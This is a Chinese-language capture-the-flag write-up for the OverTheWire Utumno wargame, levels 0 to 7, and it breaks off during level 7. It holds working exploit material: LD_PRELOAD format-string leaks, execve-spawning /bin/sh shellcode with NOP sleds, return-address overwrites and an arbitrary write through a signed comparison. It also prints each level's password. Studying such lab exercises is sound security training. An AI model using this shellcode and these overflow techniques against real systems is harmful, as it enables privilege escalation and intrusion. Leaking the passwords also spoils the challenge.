CTF Waregames-Utumno-Writeup

 

Utumno 00

这个不能dump到本地,因为没有读权限,只能登录上去做了。

utumno0@utumno:/utumno$ ./utumno0
Read me! :P
utumno0@utumno:/utumno$ file utumno0
utumno0: executable, regular file, no read permission

没有读权限,gdb,objdump没有用。

但是可以用LD_PRELOAD hook动态链接的库函数,设置LD_PRELOAD环境变量时,LD_PRELOAD共享的目标会优先加载,举个例子:

  • 没有设置LD_PRELOAD环境变量的情况:
$ ldd plt
	linux-vdso.so.1 (0x00007ffcbd3e9000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe1e64a4000)
	/lib64/ld-linux-x86-64.so.2 (0x00007fe1e66c0000)

  • 设置LD_PRELOAD环境变量的情况:
$ export LD_PRELOAD=./preload.so

$ ldd plt
        linux-vdso.so.1 (0x00007ffff7fca000)
        ./preload.so (0x00007ffff7fba000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7dcd000)
        /lib64/ld-linux-x86-64.so.2 (0x00007ffff7fcc000)

于是,就可以用LD_PRELOAD来hook动态链接库函数。动态链接器会优先从preload.so中绑定函数地址。关于LD_PRELOAD可以参考:Playing with LD_PRELOAD

因为有一个打印,先hook puts函数试下。

#include <stdio.h>
// gcc preload.c -o preload.so -fPIC -shared -ldl -m32
int puts ( const char * str ) {
	printf("Hello from 'puts' !");

	return 0;	
}

运行一下:

utumno0@utumno:/tmp/preload$  LD_PRELOAD="./preload.so" /utumno/utumno0
Hello from 'puts' !utumno0@utumno:/tmp/preload$

看起来程序是用puts进行输出的,直接hook puts函数。

#include <stdio.h>

// gcc preload.c -o preload.so -fPIC -shared -ldl -m32
int puts ( const char * str ) {
	printf("Hello from 'puts' !");
	return 0;	
}

因为没有读权限,看下密码有没有可能在栈上。

#include <stdio.h>

int puts ( const char * str ) {
    printf("%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x\n");
	return 0;	
}
// gcc preload.c -o preload.so -fPIC -shared -ldl -m32

utumno0@utumno:/tmp/preload$ LD_PRELOAD="./preload.so" /utumno/utumno0
f7fee710.ffffd5f4.f7fcf52c.f7fc3dbc.00000000.ffffd5c8.08048402.080484a5.08048490.00000000

有几个看起来不像栈的地址:08048402.080484a5.08048490

#include <stdio.h>

int puts ( const char * str ) {
    printf("%s.%s.%s\n",0x08048402,0x080484a5,0x08048490);
	return 0;	
}
// gcc preload.c -o preload.so -fPIC -shared -ldl -m32
utumno0@utumno:/tmp/preload$ LD_PRELOAD="./preload.so" /utumno/utumno0
���.Read me! :P.password: aathaeyiew

应该是一些全局字符串变量。迈出第一题还是有点艰难。

Utumno 01

SSH : ssh utumno1@utumno.labs.overthewire.org -p 2227

Pass : aathaeyiew

后面有读权限了,dump下来。自用dump脚本:

#!/usr/bin/env bash

###### preconfig here ##################

hostname="utumno.labs.overthewire.org"
total_usr="utumno"
port=2227

#########################################

file="/$total_usr/$total_usr"

# argument passed
usrid=$1
pass=$2

echo "sshpass -p "$pass" scp -P $port $total_usr$usr$usrid@$hostname:$file$usrid  ."

sshpass -p "$pass" scp -P $port $total_usr$usr$usrid@$hostname:$file$usrid  .

checksec $total_usr$usrid

$ ./crawl.sh 1 aathaeyiew
sshpass -p aathaeyiew scp -P 2227 utumno1@utumno.labs.overthewire.org:/utumno/utumno1  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno1'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

拿到IDA中分析一下。

程序大概逻辑就是检查一个文件夹里的文件,然后看有没有带sh_前缀的。如果有就调用run函数。动态调试可以看到run函数的逻辑就是让run函数返回地址指向sh_文件文件名中sh_后面的内容,然后程序开始执行sh_文件名中从文件开始的部分。

所以将shellcode嵌入到文件名后面即可。要注意的是touch的时候不能有/号,不然会以为是需要在那个文件夹下创建文件。所以就需要创建/bin/sh的软链接

先写一个shellcode,在/bin/sh版本上面改一下就ok了,名字这里改成aaaa:

[SECTION .text]

global _start

_start:
    xor    eax,eax
    push   eax
    push   0x61616161
    mov    ebx,esp
    xor    ecx,ecx
    xor    edx,edx
    mov    al,0xf 
    sub    al,4
    int    0x80

└─$  nasm -f elf32 shell.asm

└─$ ld -m elf_i386 -s -o shell shell.o

└─$ objdump -d ./shell |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x50\x68\x61\x61\x61\x61\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80"

登录到远程:

utumno1@utumno:/tmp/yhc$ touch sh_$(python -c 'print "\x31\xc0\x50\x68\x61\x61\x61\x61\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80"')
utumno1@utumno:/tmp/yhc$ ln -s  /bin/sh aaaa
utumno1@utumno:/tmp/yhc$ /utumno/utumno1 `pwd`
$ whoami
utumno2
$ cat /etc/utumno_pass/utumno2
ceewaceiph
$ 

Utumno 02

SSH : ssh utumno2@utumno.labs.overthewire.org -p 2227

Pass : ceewaceiph

$ ./crawl.sh 2 ceewaceiph
sshpass -p ceewaceiph scp -P 2227 utumno2@utumno.labs.overthewire.org:/utumno/utumno2  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno2'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

拿到IDA中分析一下。

程序逻辑就是先检查程序参数的数量,如果参数数量不为0,那么就打印Aw..。但正常调用程序的时候参数肯定>=1的(其本身算一个)。

搜索一番找到这个方法:Starting program using execv and passing arguments with out raising argc。原理就是参数指针数组和环境变量指针数组在内存中的布局:

+---------+---------------------------------------+ 
| Args    | Environment                           |
+---------+---------+---------+---------+---------+
|  NULL   | envp[0] | envp[1] | envp[2] |  NULL   | 
+---------+---------+---------+---------+---------+
    ^         ^                   ^                     
    |         |                   |
 argv[0]    argv[1]     ...     argv[3]

所以envp[11]=argv[10];在evnp[11]里面写shllcode地址覆盖程序返回地址。用另一个程序调用execve函数来启动目标程序。

不能用在终端中写环境变量的方法来了,因为调用用的是execve,环境变量会被重新设置。但可以直接写在环境变量里传参进去。

来找一个返回地址使其指向我们的雪橇中间。

utumno2@utumno:/tmp/fdk$ cat  setup.c 
#include <unistd.h>

int main(){
        char *argv[] = { NULL };
        char *envp[] = { "0", "1", "2","3","4","5","6","7","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80","aaaabbbbccccAAAABBBB", NULL };
        execve("/utumno/utumno2", argv, envp);
}


utumno2@utumno:/tmp/fdk$ gcc -m32 setup.c -o setup

参数,环境变量都在栈上,用gdb调试一下,选一个位置:

utumno2@utumno:/tmp/fdk$ gdb ./setup 

(gdb) r
Starting program: /tmp/fdk/setup 
process 20350 is executing new program: /utumno/utumno2

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/200wx $esp
0xffffddb0:	0x00000000	0xffffde44	0xffffde48	0x00000000
0xffffddc0:	0x00000000	0x00000000	0xf7fc5000	0xf7ffdc0c
0xffffddd0:	0xf7ffd000	0x00000000	0x00000000	0xf7fc5000
0xffffdde0:	0x00000000	0xa60fbcbe	0x9cf050ae	0x00000000
0xffffddf0:	0x00000000	0x00000000	0x00000000	0x08048350
0xffffde00:	0x00000000	0xf7fee710	0xf7e2a199	0xf7ffd000
0xffffde10:	0x00000000	0x08048350	0x00000000	0x08048371
0xffffde20:	0x0804844b	0x00000000	0xffffde44	0x08048490
0xffffde30:	0x080484f0	0xf7fe9070	0xffffde3c	0xf7ffd920
0xffffde40:	0x00000000	0x00000000	0xffffdf40	0xffffdf42
0xffffde50:	0xffffdf44	0xffffdf46	0xffffdf48	0xffffdf4a
0xffffde60:	0xffffdf4c	0xffffdf4e	0xffffdf50	0xffffdfd3
0xffffde70:	0x00000000	0x00000020	0xf7fd7c90	0x00000021
0xffffde80:	0xf7fd7000	0x00000010	0x178bfbff	0x00000006
0xffffde90:	0x00001000	0x00000011	0x00000064	0x00000003
0xffffdea0:	0x08048034	0x00000004	0x00000020	0x00000005
0xffffdeb0:	0x00000008	0x00000007	0xf7fd9000	0x00000008
0xffffdec0:	0x00000000	0x00000009	0x08048350	0x0000000b
0xffffded0:	0x00003e82	0x0000000c	0x00003e82	0x0000000d
0xffffdee0:	0x00003e82	0x0000000e	0x00003e82	0x00000017
0xffffdef0:	0x00000001	0x00000019	0xffffdf2b	0x0000001a
0xffffdf00:	0x00000000	0x0000001f	0xffffdfe8	0x0000000f
0xffffdf10:	0xffffdf3b	0x00000000	0x00000000	0x00000000
0xffffdf20:	0x00000000	0x00000000	0x62000000	0x6eb9cc81
0xffffdf30:	0x73a0acda	0x6f3f2e3b	0x69302ec9	0x00363836
0xffffdf40:	0x00310030	0x00330032	0x00350034	0x00370036
0xffffdf50:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf60:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf70:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf80:	0x90909090	0x90909090	0x90909090	0x90909090
---Type <return> to continue, or q <return> to quit---
0xffffdf90:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdfa0:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdfb0:	0x90909090	0x90909090	0x50c03190	0x732f2f68
0xffffdfc0:	0x622f6868	0xe3896e69	0xd231c931	0x042c0fb0
0xffffdfd0:	0x610080cd	0x62616161	0x63626262	0x41636363
0xffffdfe0:	0x42414141	0x00424242	0x7574752f	0x2f6f6e6d
0xffffdff0:	0x6d757475	0x00326f6e	0x00000000	0x00000000
0xffffe000:	Cannot access memory at address 0xffffe000
(gdb) 

选一个雪橇中间的位置,这里选0xffffdf80。让我们重写我们的setup.c。

#include <unistd.h>

int main(){
        char *argv[] = { NULL };
        char *envp[] = { "0", "1", "2","3","4","5","6","7","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80","aaaabbbbccccAAAA\x80\xdf\xff\xff", NULL };
        execve("/utumno/utumno2", argv, envp);
}

注意\x80\xdf\xff\xff写的顺序,因为粘贴的时候是低地址开始粘贴的。

utumno2@utumno:/tmp/fdk$ gcc -m32 setup.c -o setup
utumno2@utumno:/tmp/fdk$ ./setup 
$ whoami
utumno3
$ cat /etc/utumno_pass/utumno3
zuudafiine
$ 

Utumno 03

SSH : ssh utumno3@utumno.labs.overthewire.org -p 2227

Pass : zuudafiine

依旧选择dump下来分析。

$ ./crawl.sh 3 zuudafiine
sshpass -p zuudafiine scp -P 2227 utumno3@utumno.labs.overthewire.org:/utumno/utumno3  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno3'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

扔到IDA中分析一波…

程序流程可以看出一共有两个getchar()。第一个getchar()决定你写在哪个位置(与ebp的偏移),第二个getchar()决定你写的字符是啥。

IDA反编译结果:


int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ebx
  char b[24]; // [esp+0h] [ebp-3Ch]
  char a[24]; // [esp+18h] [ebp-24h]
  int c; // [esp+30h] [ebp-Ch]
  int i; // [esp+34h] [ebp-8h]

  c = 0;
  for ( i = 0; ; ++i )
  {
    c = getchar();
    if ( c == -1 || i > 23 )
      break;
    b[i] = c;
    b[i] ^= 3 * i;
    v3 = b[i];
    a[v3] = getchar();
  }
}

^表示异或,这里需要一点数学计算。我们要在返回地址上面写shellcode环境变量中的地址(还好只需要写4个字节,而不是整个shellcode)。异或运算有一个性质为:a^b^b=a。用这个性质帮助我们计算需要写的那个数。

登录到远程开干。

utumno3@utumno:/utumno$ export SHELLCODE=$(python -c 'print 200 * "\x90" + "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x61\x78\x63\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80"')

shellcode之前试过一次,拿不到shell,但发现直接cat密码可以。上面shellcode是直接cat密码版本,用cat的缺点是复用性比较低。下面让我们用gdb找到环境变量地址。

utumno3@utumno:/utumno$ gdb utumno3 
(gdb) break *main
Breakpoint 1 at 0x80483eb: file utumno3.c, line 20.
(gdb) r
Starting program: /utumno/utumno3 

Breakpoint 1, main (argc=1, argv=0xffffd564) at utumno3.c:20
20	utumno3.c: No such file or directory.

(gdb) x/1200wx $esp

...
0xffffddbc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddcc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdddc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddec:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddfc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde1c:	0x90909090	0x90909090	0x90909090	0x90909090
---Type <return> to continue, or q <return> to quit---
0xffffde2c:	0x90909090	0xc0319090	0x520bb099	0x61632f68
0xffffde3c:	0x622f6874	0xe3896e69	0x612f6852	0x2f686378
0xffffde4c:	0x89706d74	0xe28952e1	0xe1895351	0x550080cd
0xffffde5c:	0x3d524553	0x6d757475	0x00336f6e	0x3d445750
0xffffde6c:	0x7574752f	0x006f6e6d	0x454e494c	0x31333d53
0xffffde7c:	0x4d4f4800	0x682f3d45	0x2f656d6f	0x6d757475
0xffffde8c:	0x00336f6e	0x5f485353	0x45494c43	0x313d544e
0xffffde9c:	0x322e3338	0x322e3732	0x312e3030	0x31203839
0xffffdeac:	0x31343131	0x00323220	0x415f434c	0x45524444
0xffffdebc:	0x653d5353	0x53555f6e	0x4654552e	0x4c00382d
...

多看几个,慢慢翻找到shellcode地址,这里就选0xffffddcc

  ebp+40(40^0=0)需要写0x39,i等于0:”\x28\xcc”

  ebp+41(41^3=42)需要写0xde,i等于1: “\x2a\xdd”

  ebp+42(42^6=45)需要写0xff,i等于2: “\x2c\xff”

  ebp+43(43^9=34)需要写0xff,i等于3: “\x22\xff”

运行一下:

utumno3@utumno:/utumno$ python -c "print '\x28\xcc\x2a\xdd\x2c\xff\x22\xff'" | /utumno/utumno3
oogieleoga
utumno3@utumno:/utumno$ 

Utumno 04

SSH : ssh utumno4@utumno.labs.overthewire.org -p 2227

Pass : oogieleoga

依旧选择dump下来分析。

$ ./crawl.sh 4 oogieleoga
sshpass -p oogieleoga scp -P 2227 utumno4@utumno.labs.overthewire.org:/utumno/utumno4  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno4'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

用IDA分析流程分析出来大概是将参数1字符串转成数字(int型),如果数字转成unsigned short后>63程序就退出,否者将参数2粘贴到栈上。

观察将int转成unsigned short的反汇编:

mov     [ebp+j], ax

转的过程实际上是将eax的低16位复制过去(ax表示eax的低16位)。所以我们把arg1的低16位弄成全为0传进去就ok了(2**16=65536)。

还是用shellcode环境变量,上号用gdb看一下栈上的情况。

utumno4@utumno:/utumno$ export SHELLCODE=$(python -c 'print 200 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80"')
utumno4@utumno:/utumno$ gdb utumno4

(gdb) break *main
Breakpoint 1 at 0x804844b: file utumno4.c, line 20.
(gdb) r
Starting program: /utumno/utumno4 

Breakpoint 1, main (argc=1, argv=0xffffd574) at utumno4.c:20
20	utumno4.c: No such file or directory.

(gdb) x/1200wx $esp

...
0xffffdd7c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd8c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdd9c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddac:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddbc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddcc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdddc:	0x90909090	0x90909090	0x90909090	0x90909090
---Type <return> to continue, or q <return> to quit---
0xffffddec:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddfc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde3c:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
0xffffde4c:	0x896e6962	0x31c931e3	0x2c0fb0d2	0x0080cd04
0xffffde5c:	0x52455355	0x7574753d	0x346f6e6d	0x44575000
0xffffde6c:	0x74752f3d	0x6f6e6d75	0x4e494c00	0x333d5345
0xffffde7c:	0x4f480030	0x2f3d454d	0x656d6f68	0x7574752f
0xffffde8c:	0x346f6e6d	0x48535300	0x494c435f	0x3d544e45
0xffffde9c:	0x2e333831	0x2e373232	0x2e303032	0x20383931
...

选一个雪橇中间的位置,就选0xffffddcc吧,长得比较整齐。

退出gdb输入构造好的命令。观察栈布局,需要填充65286个。

utumno4@utumno:/utumno$ ./utumno4 65536  $(python -c "print '\x90'*65286+'\xcc\xdd\xff\xff'")
$ whoami
utumno5
$ cat /etc/utumno_pass/utumno5
woucaejiek

Utumno 05

SSH : ssh utumno5@utumno.labs.overthewire.org -p 2227

Pass : woucaejiek

依旧选择dump下来分析。

$ ./crawl.sh 5 woucaejiek
sshpass -p woucaejiek scp -P 2227 utumno5@utumno.labs.overthewire.org:/utumno/utumno5  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno5'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

和第二个有点像,用IDA分析出来流程就是先检查argc要为0,然后调用hihi函数将argv[10]复制到一个buf[12]局部变量里面去,它设置的长度还保证能够覆盖返回地址。

直接上号,按照第二个同样的方法来弄。不能说完全相似,只能说一模一样。

utumno5@utumno:/tmp/eag$ cat ./setup.c 
#include <unistd.h>

int main(){
            char *argv[] = { NULL };
                    char *envp[] = { "0", "1", "2","3","4","5","6","7","\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80","aaaabbbbccccAAAABBBB", NULL };
                            execve("/utumno/utumno5", argv, envp);
}

utumno5@utumno:/tmp/eag$ gdb setup
(gdb) r

Starting program: /tmp/eag/setup 
process 24509 is executing new program: /utumno/utumno5
Here we go - aaaabbbbccccAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

(gdb) x/1200wx $ebp

...
0xffffdf24:	0x00000000	0x63000000	0xe8872b30	0xad00e522
0xffffdf34:	0xb1ee0e45	0x69c4bc98	0x00363836	0x00310030
0xffffdf44:	0x00330032	0x00350034	0x00370036	0x90909090
0xffffdf54:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf64:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf74:	0x90909090	0x90909090	0x90909090	0x90909090
---Type <return> to continue, or q <return> to quit---
0xffffdf84:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdf94:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdfa4:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffdfb4:	0x90909090	0x50c03190	0x732f2f68	0x622f6868
0xffffdfc4:	0xe3896e69	0xd231c931	0x042c0fb0	0x610080cd
0xffffdfd4:	0x62616161	0x63626262	0x41636363	0x42414141
0xffffdfe4:	0x00424242	0x7574752f	0x2f6f6e6d	0x6d757475
0xffffdff4:	0x00356f6e	0x00000000	0x00000000	Cannot access memory at address 0xffffe000
(gdb) 
...


就选0xffffdf84地址吧。改完之后编译再执行。

utumno5@utumno:/tmp/eag$ gcc -m32 setup.c -o setup
utumno5@utumno:/tmp/eag$ ./setup 
Here we go - aaaabbbbccccAAAA����
$ whoami
utumno6
$  cat /etc/utumno_pass/utumno6
eiluquieth
$ 

Utumno 06

SSH : ssh utumno6@utumno.labs.overthewire.org -p 2227

Pass : eiluquieth

依旧选择dump下来分析。

$ ./crawl.sh 6 eiluquieth
sshpass -p eiluquieth scp -P 2227 utumno6@utumno.labs.overthewire.org:/utumno/utumno6  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno6'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

IDA反编译结果(main::a结构已添加):

struct main::a{
    char *p;
    table[10];
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  main::a b; // [esp+0h] [ebp-34h]
  int pos; // [esp+2Ch] [ebp-8h]
  int val; // [esp+30h] [ebp-4h]

  if ( argc <= 2 )
  {
    puts("Missing args");
    exit(1);
  }
  b.p = (char *)malloc(32u);
  if ( !b.p )
  {
    puts("Sorry, ran out of memory :-(");
    exit(1);
  }
  val = strtoul(argv[2], 0, 16);
  pos = strtoul(argv[1], 0, 10);
  if ( pos > 10 )
  {
    puts("Illegal position in table, quitting..");
    exit(1);
  }
  b.table[pos] = val;
  strcpy(b.p, argv[3]);
  printf("Table position %d has value %d\nDescription: %s\n", pos, b.table[pos], b.p);
  return 0;
}

程序逻辑大概是有一个栈上的表table,执行table[arg2(为16进制)]=arg1(10进制)。然后把arg3(下标从0开始)复制在堆上,栈上虽然有长度>10的检查,但是没有小于的检查。

└─$ ./utumno6 1 41 djfkas
Table position 1 has value 65
Description: djfkas

观察IDA 反编译的if判断语句(if(pos>10))所对应的反汇编代码:

.text:08048553                 cmp     [ebp+pos], 0Ah
.text:08048557                 jle     short loc_804856D

jle是有符号数的比较,但strtoul函数返回的是无符号数,也就是说如果输入-1,那么strtoul返回0xffffffff。在比较的时候if(pos>10)会为否。

输入-1会怎么样? TL;DR:

输入-1会strcpy会将你写arg3的内容拷贝到arg2参数所指向的地址上去。

原理:

b.table 的位置是ebp-48,b.p的位置是ebp-52ebp+eax*4+b.table运算出来的结果是ebp+-1*4-48=ebp-52,正好是b.p的位置。

假设我们执行./utumno6 -1 0x41414141 abcd,观察下面判断过后所要执行的反汇编指令(当然你也可以动态调试)。此时eax=-1,edx=arg2(16进制),我添加了注释。

.text:08048573 038                 mov     [ebp+eax*4+b.table], edx ;写到ebp-52位置上,也就是b.p的位置。
.text:08048577 038                 mov     eax, [ebp+argv]  
.text:0804857A 038                 add     eax, 12
.text:0804857D 038                 mov     edx, [eax]  ; 得到参数3的地址,也就是我们的字符串的地址
.text:0804857F 038                 mov     eax, [ebp+b.p]  ; 得到栈上b.p所存的地址。
.text:08048582 038                 push    edx             ; src
.text:08048583 03C                 push    eax             ; dest
.text:08048584 040                 call    _strcpy ; 将我们的字符串粘贴到b.p所指向的地址上去。

所以在第二个参数里面写栈上的返回地址,第三个参数里面写shellcode环境变量地址。理论上就ok了。开始上号。

utumno6@utumno:/utumno$ export SHELLCODE=$(python -c 'print 200 * "\x90" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80"')

utumno6@utumno:/utumno$ gdb ./utumno6

(gdb) break *main
(gdb) r
Starting program: /utumno/utumno6 

Breakpoint 1, main (argc=1, argv=0xffffd624) at utumno6.c:22
22	utumno6.c: No such file or directory.

(gdb) x/1200wx $esp
...

0xffffdddc:	0x90903d45	0x90909090	0x90909090	0x90909090
0xffffddec:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffddfc:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde0c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde1c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde2c:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffde3c:	0x90909090	0xc0319090	0x2f2f6850	0x2f686873
---Type <return> to continue, or q <return> to quit---
0xffffde4c:	0x896e6962	0x31c931e3	0x2c0fb0d2	0x0080cd04
0xffffde5c:	0x52455355	0x7574753d	0x366f6e6d	0x44575000
0xffffde6c:	0x74752f3d	0x6f6e6d75	0x4e494c00	0x323d5345
0xffffde7c:	0x4f480035	0x2f3d454d	0x656d6f68	0x7574752f
0xffffde8c:	0x366f6e6d	0x48535300	0x494c435f	0x3d544e45

...

(gdb) info registers 
eax            0xf7fc6dbc	-134451780
ecx            0x7d45ea47	2101733959
edx            0xffffd504	-11004
ebx            0x0	0
esp            0xffffd4bc	0xffffd4bc
ebp            0x0	0x0
esi            0x1	1
edi            0xf7fc5000	-134459392
eip            0x80484db	0x80484db <main>
eflags         0x292	[ AF SF IF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

返回地址在0xffffd4bc

构造:

./utumno6 -1 0xffffd4bc  $(python -c 'print "\xcc\xdd\xff\xff"')

一个一个试出返回地址的栈位置,地址每次+0x10,也可以用第7道题用的地址枚举脚本。

utumno6@utumno:/utumno$ ./utumno6 -1 0xffffd4bc  $(python -c 'print "\xcc\xdd\xff\xff"')
Table position -1 has value -11076
Description: ����
utumno6@utumno:/utumno$ ./utumno6 -1 0xffffd4cc  $(python -c 'print "\xcc\xdd\xff\xff"')
Table position -1 has value -11060
Description: ����
utumno6@utumno:/utumno$ ./utumno6 -1 0xffffd4dc  $(python -c 'print "\xcc\xdd\xff\xff"')
Table position -256 has value -136216536
Description: ����
utumno6@utumno:/utumno$ ./utumno6 -1 0xffffd4ec  $(python -c 'print "\xcc\xdd\xff\xff"')
Table position -1 has value -11028
Description: ����
$ whoami
utumno7
$ cat /etc/utumno_pass/utumno7
totiquegae
$ 

比较有意思的题,一个不注意的有符号数比较而引起的漏洞。

Utumno 07

SSH : ssh utumno7@utumno.labs.overthewire.org -p 2227

Pass : totiquegae

依旧选择dump到本地分析。

$ ./crawl.sh 7 totiquegae
sshpass -p totiquegae scp -P 2227 utumno7@utumno.labs.overthewire.org:/utumno/utumno7  .
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

[*] '/home/z1933/workplace/vbshare/ctf/utumno7'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

好吧,程序逻辑越来越复杂了。

用c还原了一下程序逻辑:

#include <stdio.h>
#include <stdlib.h>
#include <setjmp.h>
#include<string.h>
jmp_buf* jbp;
void jmp(int i){
    longjmp(*jbp,i);
}
int vuln (char* arg){
    char buf[128]; 
    jmp_buf foo;
    int i=0;
    jbp=&foo;

    i=setjmp(foo);
    /* If the result is not 0 then we have returned from a call to longjmp */
    if(!i){
        strcpy(buf,arg); 
        /* can be anything except 0 */
        jmp(23);
    }
    return 0; 
}
int main(int argc, char *argv[]){
